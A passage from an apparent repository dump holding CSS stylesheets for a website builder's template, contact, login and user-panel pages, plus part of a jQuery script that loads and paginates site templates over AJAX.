color:#FFF;} .template_list_element{ width:155px; height:155px; float:left; margin-right:55px; margin-bottom:26px;} .template_list_element a{ display:block; background:url(../images/site_bg.png) no-repeat 0 -541px; padding:5px;} .template_list_element a:hover{ background-position:0 -386px;} .template_list_category{ text-align:right;} .template_list_category h2{ color:#FFF; font-size:12px; background: url(../images/site_bg.png) no-repeat -155px -386px; height:26px; line-height:26px; padding-right:10px; margin-bottom:5px;} .template_list_category ul li{ height:26px; line-height:26px; } .template_list_category ul li a,.template_list_category ul li a:visited{ color:#7f7f7f;} .template_list_category ul li a:hover{color:#206fd5;background:url(../images/site_bg.png) no-repeat -155px -665px; } .template_list_category ul li a{ width:auto;display:block; height:26px; padding-right:3px;} .template_list_category ul li.local a{background: url(../images/site_bg.png) no-repeat -155px -386px; height:26px; line-height:26px; color:#FFF;} .template_list_category ul li.local a:visited{color:#FFF;} .page_s{ text-align:center; clear:both; height:19px; margin-bottom:40px; margin-right:45px;} .page_s a{ display:inline-block; background:url(../images/site_bg.png) no-repeat -118px 0; width:19px; height:19px; } .page_s a.local{background:url(../images/site_bg.png) no-repeat -99px 0;} .footer{ clear:both; height:150px;} .f_left{ float:left; font-size:10px;} .f_left .copyright{ text-transform:uppercase; margin-bottom:3px;} .language_bar,.follow_icon,.facebook_icon{ float:left;} .follow_icon,.facebook_icon{ padding-top:2px;} .follow_icon{ margin-right:8px;} .follow_icon a{ display:block; width:60px; height:20px; background:url(../images/site_bg.png) no-repeat -155px -461px; } .facebook_icon a{ display:block; width:81px; height:20px; background:url(../images/site_bg.png) no-repeat -155px -441px; } .language_bar{ width:80px; margin-right:5px;} .f_link_language a.login-in{ background: url("../images/site_bg.png") no-repeat scroll -168px 0 transparent; display: block; float: left; height: 19px;line-height: 18px; margin-right: 5px;margin-top: 2px;text-indent: 18px;width: 63px;} .f_link_language a.login-in,.f_link_language a.login-in:visited{ color:#FFFFFF;} .f_link_language a.login-in:hover{ color:#FFF; background-position:-231px 0;} .lang_bar_m{ background:url(../images/site_bg.png) no-repeat -156px -413px; width:80px; height:27px; z-index:100; position:absolute; overflow:hidden;} .lang_bar_m div{ width:57px; text-align:center; float:left; margin-left:4px; } .lang_bar_m a{ display:block; width:15px; height:19px; margin:2px 4px 0 0; _margin:0; margin-top:2px; overflow:hidden; float:right; background:url(../images/site_bg.png) no-repeat -151px 0;} .lang_drop_down{ position:relative; height:107px;} .lang_d_d_hidden{ background:url(../images/second_language.png) no-repeat; height:82px; margin-top:0px; padding-top:25px; } .lang_drop_down a{ display:block; text-align:center; width:70px; margin:0 auto; height:20px; line-height:20px; margin-bottom:5px; font-size:12px; overflow:hidden;} .lang_drop_down a:hover{ background:#68a1ea; color:#FFF;} .f_right{ float:right; text-align:right; font-size:10px; text-transform:uppercase; color:#afafaf;} /*------------// About //------------------*/ #about_content{ background:url(../images/about_bg.png) right top no-repeat; } .about_top h2{ margin-bottom:10px;} .about_top_intro{ width:608px; font-size:15px; line-height:170%; text-align:justify;text-justify:inter-ideograph; margin-bottom:32px;} .about_top h3{ margin-bottom:46px;} .about_c{ text-align:justify;text-justify:inter-ideograph;} #contact_content{} #contact_content h2{ margin-bottom:32px;} .contact_left{ float:left; width:326px; padding-top:20px;} .contact_right{ float:right; width:448px;} .contact_font{ font-size:13px; line-height:200%; margin-bottom:30px;} .contact_font span{ color:#2f7ad9;} .contact_icon a{ display: inline-block; width:45px; height:45px; margin-right:15px;} .contact_icon a.fackbook{ background:url(../images/site_bg.png) no-repeat -155px -481px; } .contact_icon a.fackbook:hover{ background:url(../images/site_bg.png) no-repeat -200px -481px; } .contact_icon a.twitter{ background:url(../images/site_bg.png) no-repeat -155px -526px; } .contact_icon a.twitter:hover{ background:url(../images/site_bg.png) no-repeat -200px -526px; } .contact_icon a.google{ background:url(../images/site_bg.png) no-repeat -155px -571px; } .contact_icon a.google:hover{ background:url(../images/site_bg.png) no-repeat -200px -571px; } .contact_icon a.mail{ background:url(../images/site_bg.png) no-repeat -155px -616px; } .contact_icon a.mail:hover{ background:url(../images/site_bg.png) no-repeat -200px -616px; } .contact_right h4{ font-size:13px; font-weight:normal; margin-bottom:5px; } .contact_right input.txt_input{ border:1px solid #bbb; background:url(../images/site_bg.png) 0 -696px repeat-x; height:32px; margin-bottom:5px; width:359px; line-height:32px; padding:0 5px; -moz-border-radius:5px; -webkit-border-radius:5px; border-radius:5px; } .contact_right input.txt_input:focus{ transition:border linear .2s,box-shadow linear .2s; -moz-transition:border linear .2s,-moz-box-shadow linear .2s; -webkit-transition:border linear .2s,-webkit-box-shadow linear .2s; outline:none;border-color:rgba(173,173,173.75); box-shadow:0 0 8px rgba(173,173,173,.5); -moz-box-shadow:0 0 8px rgba(173,173,173,.5); -webkit-box-shadow:0 0 8px rgba(173,173,173,3); border:1px solid #7cccec;} .contact_right textarea.text_area{ border:1px solid #bbb; background:url(../images/site_bg.png) 0 -728px repeat-x; height:112px; overflow:auto; margin-bottom:10px; line-height:32px; width:429px; padding:5px; -moz-border-radius:5px; -webkit-border-radius:5px; border-radius:5px; } .contact_right textarea.text_area:focus{ transition:border linear .2s,box-shadow linear .2s; -moz-transition:border linear .2s,-moz-box-shadow linear .2s; -webkit-transition:border linear .2s,-webkit-box-shadow linear .2s; outline:none;border-color:rgba(173,173,173.75); box-shadow:0 0 8px rgba(173,173,173,.5); -moz-box-shadow:0 0 8px rgba(173,173,173,.5); -webkit-box-shadow:0 0 8px rgba(173,173,173,3); border:1px solid #7cccec;} .contact_right input.sub_mit{ width:150px; height:29px; border:none; background:url(../images/site_bg.png) 0 -850px no-repeat; } .contact_right input.sub_mit:hover{ background:url(../images/site_bg.png) 0 -879px no-repeat; cursor:pointer;} /*--login--*/ .login_m{ width:403px; margin:0 auto; height:375px; margin-top:98px; /*position: absolute;left:50%;top:50%;margin-left:-202px;margin-top:-188px;*/} .login_logo{ text-align:center; margin-bottom:25px;} .login_boder{ background: url(login_m_bg.png) no-repeat; height:302px; overflow:hidden;} .login_padding{ padding:28px 47px 20px 47px ;} .login_boder h2{ color:#4f5d80; text-transform:uppercase; font-size:12px; font-weight:normal; margin-bottom:11px;} .forget_model_h2{color:#4f5d80; font-size:12px; font-weight:normal; margin-bottom:11px;} .login_boder input.txt_input{ width:295px; height:36px; border:1px solid #cad2db; background:url(../images/txt_input_bg.gif) no-repeat; padding:0 5px; -moz-border-radius:5px; -webkit-border-radius:5px; border-radius:5px; line-height:36px; margin-bottom:10px; font-size:14px; color:#717171; font-family:Arial;} .login_boder input.txt_input2{ margin-bottom:20px;} .login_boder input.txt_input:focus{ transition:border linear .2s,box-shadow linear .2s; -moz-transition:border linear .2s,-moz-box-shadow linear .2s; -webkit-transition:border linear .2s,-webkit-box-shadow linear .2s; outline:none;border-color:rgba(173,173,173.75); box-shadow:0 0 8px rgba(173,173,173,.5); -moz-box-shadow:0 0 8px rgba(173,173,173,.5); -webkit-box-shadow:0 0 8px rgba(173,173,173,3); border:1px solid #6192c8;} .login_boder p.forgot{ font-size:11px; text-align:right; margin-bottom:15px;} .login_boder p.forgot a,.login_boder p.forgot a:visited{color:#8c8e91;} .login_boder p.forgot a:hover{color:#206fd5;} .rem_sub input.sub_button{ float:right; width:122px; height:32px; background:url(site_bg.png) no-repeat -153px -850px; border:none; color:#FFF; padding-bottom:2px; font-size:14px; font-weight:bold;} .rem_sub input.sub_buttons{ float:left; width:122px; height:32px; background:url(site_bg.png) no-repeat -153px -850px; border:none; color:#FFF; padding-bottom:2px; font-size:14px; font-weight:bold;} .rem_sub input.sub_buttons:hover{ background-position:-153px -882px; cursor:pointer;} .rem_sub input.sub_button:hover{ background-position:-153px -882px; cursor:pointer;} .rem_sub .rem_sub_l{ float:left; font-size:12px; height:33px; line-height:33px;} .rem_sub input#checkbox{ margin-right:5px; vertical-align:middle;} /*dali*/ .focusBox{height:513px;} .focusContentBox{height:100%} .focusContent{width:1000px;float:left} ================================================ FILE: web_simplecms/simplecms/Wopop_files/userpanel.css ================================================ @charset "utf-8"; /* CSS Document */ #up_top{background:url(../images/top_bg.gif) no-repeat; padding:15px;} #up_top_nav{ } .top_nav1,.top_nav2,.top_nav3{float:left; line-height:37px; text-align:center; width:92px; font-size:14px; text-shadow: 1px 1px 0 #e0e0e0; color:#2e2e2e; font-weight:bold; cursor:pointer; text-decoration:none; background:url(../images/top_nav.gif); height:39px;} #up_top_nav .top_nav1:hover,#up_top_nav .top_nav2:hover,#up_top_nav .top_nav3:hover{background:url(../images/top_nav.gif) no-repeat;color:#fff;text-shadow: 1px 1px 0 #0b6ac6; } #up_top_nav .top_nav2{ background-position:208px 0;} #up_top_nav .top_nav3{ background-position:116px 0; width:116px; text-indent:15px;} #up_top_nav .top_nav1:hover{ background-position:0px -40px;} #up_top_nav .top_nav2:hover{ background-position:-92px -40px;} #up_top_nav .top_nav3:hover{ background-position:-184px -40px;} .top1hover { float:left; line-height:37px; text-align:center; width:92px; font-size:14px; text-shadow: 1px 1px 0 #0b6ac6; color:#fff; font-weight:bold; cursor:pointer; text-decoration:none; background:url(../images/top_nav.gif); height:39px; background-position:0px -40px;} .top2hover { float:left; line-height:37px; text-align:center; width:92px; font-size:14px; text-shadow: 1px 1px 0 #0b6ac6; color:#fff; font-weight:bold; cursor:pointer; text-decoration:none; background:url(../images/top_nav.gif); height:39px; background-position:-92px -40px;} ul#up_top_nav li .sub { position:absolute;float: left; display: none; background:url(../images/sub_bg.png) no-repeat; *margin:25px 0 0 -75px; margin-left:-5px;} ul#up_top_nav li .sub ul { list-style: none; margin: 0; padding: 0; width: 229px; } ul#up_top_nav li .sub ul li {float: left; } ul#up_top_nav .sub ul li a { float:left; color:#1d98dc; font-size:14px; text-align:center; text-shadow:none; text-decoration:none; padding:7px 0px; padding-left:35px; background:#000; background:url(../images/top_nav_bg_line.gif) no-repeat 18px 18px;} ul#up_top_nav .sub ul li a:hover{color:#FF3800;} .bgnone{background:none;} /*ul.tiul li .sub { position:absolute;z-index:100000;display:none;background:url(../images/Png_top.png) no-repeat; width:120px; height:110px; padding:0 8px 8px 0; margin-top:2px;*margin:22px 0 0 -62px;float:left; zoom:1;} ul.tiul li .sub ul { list-style: none; margin: 0; padding: 0; width: 120px; } ul.tiul li .sub ul li {text-align:left; line-height:30px; margin:5px 0; *display:inline-block;} ul.tiul .sub ul li a {color:#fff; text-shadow:none; text-decoration:none; display:block;} ul.tiul .sub ul li a:hover{color:#fff; background:#646464;} ul.tiul .us_info,ul.tiul .us_domain,ul.tiul .us_update,ul.tiul .us_copy,ul.tiul .us_bin{ background:url(../images/icon1.png) no-repeat; padding:12px; float:left; margin-left:10px; *padding: 5px 12px;} ul.tiul .us_info{ background-position: 0 6px; } ul.tiul .us_domain{ background-position: 0 -24px; } ul.tiul .us_update{ background-position: 0 -54px;} ul.tiul .us_copy{ background-position: 0 -88px; } ul.tiul .us_bin{ background-position: 0 -114px;} */ ul.tiul li .sub { position:absolute;z-index:100000;display:none;width:120px; padding:0 8px 8px 0; margin-top:2px;*margin:22px 0 0 -62px;float:left; zoom:1;} ul.tiul li .sub ul { list-style: none; margin: 0; padding: 0; width: 128px; } ul.tiul li .sub ul li {text-align:left; line-height:25px; background:url(../images/Png_con.png) repeat-y;} .sub_top{ background:url(../images/Png_top.png) !important; height:5px !important;} .sub_bottom{ background:url(../images/Png_bottom.png) !important; height:13px !important;} ul.tiul .sub ul li a {color:#fff; text-shadow:none; text-decoration:none; display:block; padding:5px 0;} ul.tiul .sub ul li a:hover{color:#fff; background:url(../images/png.png) repeat-x; width:120px;} ul.tiul .us_info,ul.tiul .us_domain,ul.tiul .us_update,ul.tiul .us_copy,ul.tiul .us_bin{ background:url(../images/icon1.png) no-repeat; padding:12px; float:left; margin-left:10px; *padding: 5px 12px;} ul.tiul .us_info{ background-position: 0 6px; } ul.tiul .us_domain{ background-position: 0 -24px; } ul.tiul .us_update{ background-position: 0 -54px;} ul.tiul .us_copy{ background-position: 0 -88px; } ul.tiul .us_bin{ background-position: 0 -114px;} .buyview {background:#fff; border: solid 1px #e3e3e3; margin-top:10px;box-shadow:2px 2px 0px 0 #e8e8e8;} .b_info{ background:#f6f6f6; padding:10px; margin:1px;} .b_infoss{ background:#f6f6f6; padding:10px; margin:1px;} .binddome{ background:#F6F6F6; font-size:24px; text-align:left; padding:5px 10px;} .domelist{ background:#f6f6f6; padding:10px; margin:1px;} .new_free,.new_advanced{ background:url(../ot5lst/images/btn_bg.png); width:180px; height:32px; line-height:28px;text-align:center; color:#5a5a5a;display:block; color:white;font-weight:bold; text-decoration:none; float:left; margin-right:10px; text-indent:5px;} .new_free:hover,.new_advanced:hover{ background:url(../ot5lst/images/btn_bg.png) repeat 0px -99px;cursor:pointer} .new_left{ width:725px; border:#d6d6d6 solid 1px;box-shadow: 1px 1px 1px #efefef inset; background:#fff; margin-top:10px; min-height:500px; float:left; padding-bottom:5px;} .search{ background:url(../images/search.gif) no-repeat; width:320px; height:30px; float:right;} .soinput{ border:none; background:none; padding:6px 5px 5px 10px; width:150px; } .seinput{border:none; background:none;float:left; width:85px;*width:84px; padding:5px 5px 2px 0;} .seinput option{ border:none;} .sift{ background:url(../images/sift.gif) repeat-x; height:31px; border: solid 1px #fff;} .sift li{ background:url(../images/sift_libg.gif) no-repeat right top; width:130px; float:left; line-height:31px; color:#fff; text-indent:10px; cursor:pointer;text-shadow: 1px 1px 0 #474747;} .sift li:hover{ background:url(../images/sift_lihover.gif);} /*当前选中状态*/ .sift1{background:url(../images/sift_ligif.gif) !important; } .nipic{ background:#fff; padding:1px; border: solid 1px #d6d6d6; float:left; width:100px; height:80px; overflow:hidden; margin:10px;} /*正常*/ .new_left .titul{ background:#f9f9f9; border:solid 1px #d6d6d6;box-shadow: 0px 2px 0 0 #f7f7f7; margin:5px 5px 0 5px;} .new_left .titli{ margin: 1px;background: none repeat scroll 0 0 #F6F6F6; } .new_left .titli:hover{background:#eee;} /*异常*/ .new_left .titul_unusual{ background:#f9f9f9; border:solid 1px #e6db55;box-shadow: 0px 2px 0 0 #f7f7f7;margin:5px 5px 0 5px;} .new_left .titli_unusual{ margin: 1px; background: none repeat scroll 0 0 #fffccd;} .new_left .titli_unusual:hover{background:#fffaaa;} /*未开通*/ .new_left .titul_close{ background:#f9f9f9; border:solid 1px #88c4ed;box-shadow: 0px 2px 0 0 #f7f7f7; margin:5px 5px 0 5px;} .new_left .titli_close{ margin: 1px; background: none repeat scroll 0 0 #cdebff;} .new_left .titli_close:hover{background:#b6e0fd;} .sub_edit,.sub_more{ text-align:center; color:#fff; width:81px; height:26px; line-height:24px; display:block; float:right; background:url(../images/sub1.gif) no-repeat; text-decoration:none; margin-left:9px; cursor:pointer;text-shadow: 1px 1px 0 #666; font-size:14px;} .sub_edit{background-position:0 -90px;} /*.sub_edit:hover{background-position:0 -120px;}*/ .sub_more{background-position:-88px -90px;} .sub_more:hover{background-position:-88px -120px;} .sub_bj,.sub_tj,.sub_gd{ text-align:center; color:#fff; width:70px; height:24px; line-height:24px; box-shadow: 0 2px 4px 0 #C1C1C1; display:block; float:left; background:url(../images/sub.gif) no-repeat; text-decoration:none; text-indent:10px; margin-left:10px; cursor:pointer;} .sub_bj:hover{ background-position:0 -34px;} .sub_tj{ background-position:0 -68px;} .sub_tj:hover{ background-position:0 -102px; color:#545454;} .sub_gd{ background-position:0 -170px;text-indent:0px;} .sub_gd:hover{ background-position:0 -136px; color:#545454;} .new_left .tiul{float:right; margin-right:10px;height:28px; } .new_left .info{ height:28px; margin:0 0 40px 9px;position:relative; top:-2px;} .new_left .infodme{ height:28px; margin:0 0 15px 9px;position:relative; top:-2px;} .new_left .versions,.new_left .versions1{ width:103px; text-align:center; line-height:27px; float:right;text-shadow: 1px 1px 0 #f5f5f5; background:url(../images/sub1.gif); cursor:pointer; height:28px;} .new_left .versions1{ cursor:default;} .new_left .versions font{ color:#797979;} .new_left .versions:hover{background:url(../images/sub1.gif) 0px -30px; color:#FF3800;} .new_left .versions1:hover{background:url(../images/sub1.gif) 0px -30px;} .new_left .versions font{ font-size:16px; margin-right:5px; font-weight:normal;vertical-align: bottom;} .new_left .versions1 span{} .new_left .working_normal,.new_left .working_unusual,.new_left .working_close{ width:67px; text-align:center; line-height:27px; float:right; color:#fff; background:url(../images/sub1.gif); height:28px;cursor: default; text-indent:2px;} .update{ left: 4px; position: relative; top: 0px; z-index: 500; background:url(../images/update.gif) no-repeat; width:80px; height:28px; display:inline-block; color:#fffdce;line-height:27px; text-indent:25px; text-shadow:1px 1px 0px #900000; float:left;} .update:hover{ background:url(../images/update.gif) no-repeat 0 -28px; } .new_left .working_normal{ background-position:67px 0px;text-shadow: 1px 1px 0 #006e00;} .new_left .working_unusual{ background-position:67px -30px;text-shadow: 1px 1px 0 #dc1b00;} .new_left .working_close{ background-position:67px -60px;text-shadow: 1px 1px 0 #005eed;} .new_left h1{font-size:22px; color:#0e89cf;} .new_left h2,.new_left h3{font-size:12px; color:#919191; margin-top:10px;} .new_left h3{ background:url(../images/time.gif) no-repeat 0 2px; text-indent:20px;} .new_left .tit{ float:left; width:300px; overflow:hidden; margin:10px 0;} .new_left .time{ float:left; width:130px; overflow:hidden; line-height:24px; color:#999; margin-left:10px;} .us_page{ text-align:center; line-height:40px} .us_page span{ color:#fff;} .us_page a{ color:#777777; text-decoration:none; padding:3px 8px; margin: 0 5px;} .us_page a:hover{ color:#fff; background:url(../images/page_bg.gif);} .us_page1 { color:#fff !important; background:url(../images/page_bg.gif);} .new_right{ float:left; margin:0 0px 0 10px; width:200px;margin-top: 10px;} .new_right p{ font-size:14px; line-height:30px;} .new_right .line{ border-top:1px solid #dbdbdb; border-bottom:1px solid #fff; margin:10px 0;} .new_right p span{ color:#2e9429;} .new_right .jdb{border:solid 1px #c0c0c0; background:#fff url(../images/jdb_bg.gif) repeat-x; margin:1px; height:18px;box-shadow: 1px 1px 0px #fff inset;} .new_right .jdb font{background:#ff571d; width:30%; color:#fff; font-size:10px; font-family: Arial,Helvetica,sans-serif; height:16px; display:block; text-align:center; border:solid 1px #fff;} .new_right li{background:url(../images/icon.gif) no-repeat 5px 13px; line-height:30px; text-indent:15px;} /*步驟開始*/ .usbz{ background:url(../images/bg.gif) no-repeat 0 60px #fff;margin:1px; padding:10px; padding-bottom:30px; } .usbz h1{ font-size:30px; line-height:40px;} .usbz h2{ font-size:24px; line-height:40px; color:#fff; padding-top:10px;} .usin{ margin-top:30px;} .usin input,.usin select{ background:url(../images/input_bg.gif) no-repeat 1px 1px; border:solid 1px #c9c9c9; height:30px; line-height:30px; padding:5px; font-size:14px !important; } .subin{background:url(../images/sub_in.gif); width:88px; height:34px; display:block; text-align:center; line-height:34px; color:#fff; font-size:14px; text-decoration:none;text-shadow: 1px 1px 0 #0b6ac6; font-weight:bold; position:relative; bottom:0;box-shadow: 0 2px 4px 0 #C1C1C1; float:left; margin:20px 10px 20px 0 ;} .subin:hover{background:url(../images/sub_in.gif) 0 34px;text-shadow: 1px 1px 0 #ff180a;} .usin_domian{ background: none repeat scroll 0 0 #F6F7F9;border: 1px solid #E1E1E1;border-radius: 3px 3px 3px 3px;cursor: pointer; margin: 10px 0;position: relative;text-shadow: none;} .usin_domian:hover{background: none repeat scroll 0 0 #d4e6f3;border: 1px solid #939ca8;} .usin_domian_no{color: #990000;font-weight: bold;left: 510px;position: absolute;top: 27px; text-align:center; background:url(../images/001_05.gif) no-repeat 18px 0; padding:40px 0; text-align:center;} .usin_domian_yes{color: #990000;font-weight: bold;left: 510px;position: absolute;top: 27px; text-align:center; background:url(../images/001_06.gif) no-repeat 18px 0; padding:40px 0; text-align:center;} .usin_domian_left{border-right: 1px solid #E1E1E1;float: left;padding: 38px 0; text-align: center;width: 40px;} .usin_domian_left:hover{border-right:1px solid #acb8c8;} .usin_domian_right{border-left: 1px solid #FFFFFF;float: left;padding: 15px 20px 15px 15px;font-size:14px;} .usin_domian_right h3{color: #333333; margin-bottom: 7px;} .tem { padding:0px 20px; } .tem li { background: url("/pop/web/images/li_bg.png") no-repeat scroll 0 0 transparent;display: inline;float: left;height: 196px;margin: 0 7px 20px; } .tem li img {margin: 12px 12px 5px;} .tem li img:hover{border: solid 4px #0099db; margin:7px 7px 0 7px; padding:1px;} .tem li a {display: block;} .tem li a:hover{color:#fff;} .tem li span {color: #FFFFFF;height: 30px;line-height: 28px;text-align: center; display: block;} .tem li span a {color: #666666;text-align: center;text-decoration: none;} .tem li span:hover{ background:url(/pop/web/images/li_a_hover.png) no-repeat 7px 0;} .page { text-align:center; margin-top:40px; } .page a { text-decoration:none; color:#626262; padding:5px 10px; } .page a:hover { background:#34baff; color:#fff;} .us_table1 td{line-height: 32px;padding: 1px 0; background:#fff; text-align:center;}\ .us_table2 td{line-height: 32px;padding: 1px 0; background:#fff; text-align:left; padding:5px 0 5px 5px;} .us_table td{line-height: 32px;padding: 1px 0; background:#fff; padding: 0 20px;} .us_table td a{ text-decoration:none;} .us_table {} .us_ok, .us_no { background: url("../images/us_sub.gif") repeat scroll 0 0 transparent; border: medium none; color: #FFFFFF; cursor: pointer; display: block; float: left; margin: 10px; padding: 2px 0 4px; text-align: center; text-decoration: none; width: 70px; } .us_ok:hover,.us_no:hover{ background:url(../images/us_sub.gif) 0 24px; } .us_line{ background:url(../images/line.png) repeat-x; margin:0 10px; padding:10px 0; text-align:center;} .us_line a{background: url("../images/change_l.png") no-repeat scroll 0 0 transparent; color: #5A5A5A; display: inline-block; float: left;font-size: 12px;height: 30px;line-height: 28px;text-align: center;text-decoration: none; padding-left:9px;} .us_line a:hover{ color:#0E89CF;} .us_line img { float: left; padding: 6px 3px 0 0 ;} .us_line span{display: inline-block; background:url(../images/change_R.png) no-repeat top right ; padding: 0 8px 0 0;height: 30px;} .sub_text,.sub_product,.sub_webedit,.sub_member,.sub_message,.sub_notice,.sub_order,.sub_file{ background:url(../images/icon.png) no-repeat 0px 0px; padding:2px 10px;} .sub_product{ background-position:0 -20px} .sub_webedit{ background-position:0 -40px} .sub_member{ background-position:0 -60px} .sub_message{ background-position:0 -80px} .sub_notice{ background-position:0 -100px} .sub_order{ background-position:0 -120px} .sub_file{ background-position:0 -140px} .sift a{ color:#fff;} .sift a:hover{ color:#fff;} .search{ background:url(../images/search.gif) no-repeat; width:320px; height:30px; float:right;} .soinput{ border:none; background:none; padding:6px 5px 5px 10px; width:150px; float:left } .seinput{border:none; background:none;float:left; width:85px;*width:84px; padding:5px 5px 2px 0;} .seinput option{ border:none;} .sub_search{ border:none; width:70px; height:30px; cursor:pointer; float:left; background:url(../images/sub_search.gif);} .sub_search:hover{ background:url(../images/sub_search.gif) 0 30px;} .sub_search_zh{ border:none; width:70px; height:30px; cursor:pointer; float:left; background:url(../images/sub_search_zh.gif);} .sub_search_zh:hover{ background:url(../images/sub_search_zh.gif) 0 30px;} .sub_search_en{ border:none; width:70px; height:30px; cursor:pointer; float:left; background:url(../images/sub_search_en.gif);} .sub_search_en:hover{ background:url(../images/sub_search_en.gif) 0 30px;} .allinput{background: url("../images/input_bg.gif") no-repeat scroll 0 0 transparent;border: 1px solid #CCCCCC; height: 20px;padding: 2px;width: 250px;} .allinput1{background: url("../images/input_bg.gif") no-repeat scroll 0 0 transparent;border: 1px solid #CCCCCC; height: 20px;padding: 2px;width: 250px;} .allinput2{background: url("../images/input_bg.gif") no-repeat scroll 0 0 transparent;border: 1px solid #CCCCCC; height: 20px;padding: 2px;width: 100px; margin-right:5px;} .allsub {background: url("../images/sub1.gif") no-repeat scroll 0 -90px transparent;color: #FFFFFF;cursor: pointer;display: block;font-size: 14px !important; text-align: center; text-decoration: none; text-shadow: 1px 1px 0 #666666; width: 81px; border:none; height:26px; display:block; line-height:24px !important;} .us_table1 .allsub{ margin-left:20px;} .allsub:hover{ background-position:0 -120px;} .allsub,.allinput{ float:left; margin-right:10px;} /*------------------------User界面新CSS---------------*/ .new_left1{ width:725px; border:#d6d6d6 solid 1px;box-shadow: 1px 1px 1px #efefef inset; background:#fff; margin-top:10px; float:left;} .user_p{background:url(../images/p_bg.gif) repeat-x; height:38px; line-height:38px; font-size:14px; color:#5a5a5a;text-shadow: 1px 1px 0 #fff; font-weight:bold; border:solid 1px #fff; text-indent:15px;} .new_left1 ul{ background:#f7f7f7; border-bottom:dashed 1px #fff;} .new_left1 ul li{ border-bottom:dashed 1px #efefef; float:left; height:50px; line-height:50px;} .new_left1 ul .l1{ color:#5a5a5a; font-weight:bold;width:20%; text-indent:15px;} .new_left1 ul .l2{ width:70%;} .new_left1 ul .l3{ float:right;width:10%;} .new_left1 ul li a{ text-decoration:none;} .new_left1 ul li a:hover{ text-decoration:underline;} /*------------------------domian_CSS---------------*/ .us_domain input,.us_domain select,.us_domain_g,.us_domain_r,.us_domain_b{ border:none; background:url(../images/input_bg2.gif); padding:5px;border:solid 1px #d7d7d7; width:240px; margin-left:0px;} .us_domain select{ height:31px;width:252px;} .us_domain td{ padding:4px; line-height:24px;} .us_domain img{vertical-align: middle;} .us_domain_g{background-position: 0 -80px !important; border:solid 1px #9db832!important;} .us_domain_r{background-position: 0 -160px !important; border:solid 1px #cc0000!important;} .us_domain_b{background-position: 0 -240px !important;border:solid 1px #2fadd7!important;} .us_domain_width{ width:13px !important;vertical-align: top; border:none !important; background:none !important;} .us_domain_width1{ width:648px !important;} .us_domain_color{ color:#FF3C00;} .agreent_class{ color:#797979;} .agreent_class:hover{ text-decoration:underline;} .us_domain_width50{ width:50px !important;} .tit_domain{ float:left; margin:5px; height:250px; height:65px;} /*分页样式*/ .us_page{ line-height:35px; background:#a7a7a7; margin:5px; padding-left:7px; height:35px;text-indent: 0px;} .us_page a{ color:#777777; text-decoration:none; padding:3px 8px; margin: 0 7px 0 0; background:#f8f8f8;} .us_page a:hover{ color:#fff; background:#1d72e9;} .us_page1 { color:#fff !important; background:#1d72e9!important;} .misxiao{ background:#fcf0ef; padding:10px; border:solid 1px #cc0000; color:#c00000;} .dome_search{ background:url(/imgs/search_sub.png); width:70px; height:32px; line-height:32px; color:#fff; font-size:14px; text-align:center;display: inline-block;display: inline-block; } .dome_search:hover{ background:url(/imgs/search_sub.png) 0 32px;} .us_table2 td { padding:6px;background: none repeat scroll 0 0 #FFFFFF;} /*免费产品升级页面调整*/ #update{ border:solid 1px #dcdfe2; background:#f6f6f6;box-shadow: 2px 2px 0 0 #E8E8E8; margin:5px; padding:1px; } #update li{ float:left; padding:10px; width:325px;} #update dl dt{ font-size:24px; background:url(/userhome/images/line_bg.gif) repeat-x center bottom; line-height:40px; color: #2E2E2E; margin-bottom:10px;} #update dl dd{ background:url(/userhome/images/update_icon.gif) no-repeat 0 10px;font-size:14px; line-height:40px; text-indent:30px;} #paymentAmountonly{color: #FF3C00;font-size: 14px;font-weight: bold;} #update dl img{ vertical-align:middle;} #update .sline{ background:url(/userhome/images/sline_bg.gif) repeat-y right top;} #update .sfk div{ padding:10px 0;} element.style { background-position: 0 -120px; } ================================================ FILE: web_simplecms/simplecms/Wopop_files/webtemples.js ================================================ //公共提示窗口函数 var currentpage = ""; var pageSize = 6; var pageIndex = 0; $(function () { ///模版里面分页 修改 function PageCallback(index, jq) { InitTable(index); } //请求数据 function InitTable(pageIndex, typeTemple) { typeTemple = $("#getfreeORcharge").val(); $.ajax({ type: "POST", dataType: "text", url: '/Ajax_WebServer/Ajax_Templates.ashx', //提交到一般处理程序请求数据 // url: '/pop/web/Ajax_Tempe/Ajax_Templates.ashx', //提交到一般处理程序请求数据 data: "pageIndex=" + (pageIndex + 1) + "&pageSize=" + pageSize + "&ezsite_prd=" + typeTemple + "&type_code=1", //提交两个参数:pageIndex(页面索引),pageSize(显示条数) success: function (data) { if (data == "TimeOut") { window.location.href = "/users/Login.aspx"; } $("#choose_temple").empty(); $("#choose_temple").append(data); $.ajax({ type: "POST", dataType: "text", url: '/Ajax_WebServer/Ajax_Templates.ashx', //提交到一般处理程序请求数据 data: "pageIndex=" + (pageIndex + 1) + "&pageSize=" + pageSize + "&ezsite_prd=" + typeTemple + "&type_code=2", //提交两个参数:pageIndex(页面索引),pageSize(显示条数) success: function (result) { //分页,PageCount是总条目数,这是必选参数,其它参数都是可选 $("#Pagination").pagination(result, { callback: PageCallback, prev_text: ' ', //上一页按钮里text next_text: ' ', //下一页按钮里text items_per_page: pageSize, //显示条数 ellipse_text: '…', num_display_entries: 6, //连续分页主体部分分页条目数 current_page: pageIndex, //当前页索引 num_edge_entries: 2 //两侧首尾分页条目数 }); } }); } }); } ////////////////////////////修改与2011年10月26号 by jason $('.us_line').show(); //-------------点击"编辑"按钮展开菜单条[start]--------code jason---------- // $('.sub_edit').bind('mouseenter', function () { // $(this).css("background-position", "0px -120px"); // }).bind('mouseleave', function () { // $(this).css("background-position", "0px -90px"); // }); $('.sub_edit').click(function (event) { if ($(this).attr("href") == "javascript:void(0);") { return false; } var url = $(".us_line a").eq(0).attr("href"); var name = $(this).parents().find(".tit h2").html(); s_name = name.substring(0, name.indexOf('.')); if (s_name != "") { $.ajax({ type: "POST", url: "/UserHome/Ajax_Server/Ajax_ForPhp_Session.ashx", data: "s_name=" + s_name, dataType: "html", async: true, success: function (response) { if (response == "TimeOut") { window.location.href = "/users/Login.aspx"; } }, error: function (response) { // alert("err"); } }); } // if ($(this).parent().parent().children('.us_line').css('display') == 'block')//如果已经有菜单,则点击按钮回收菜单 // { // $(this).parent().parent().children('.us_line').slideUp('50'); // $(this).bind('mouseenter', function () { // $(this).css("background-position", "0px -120px"); // }).bind('mouseleave', function () { // $(this).css("background-position", "0px -90px"); // }); // } // else//没有菜单,点击按钮展开菜单 // { // $(this).parent().parent().children('.us_line').slideDown('100'); // $(this).css("background-position", "0px -120px").unbind('mouseenter').unbind('mouseleave'); // } event.stopPropagation(); }); 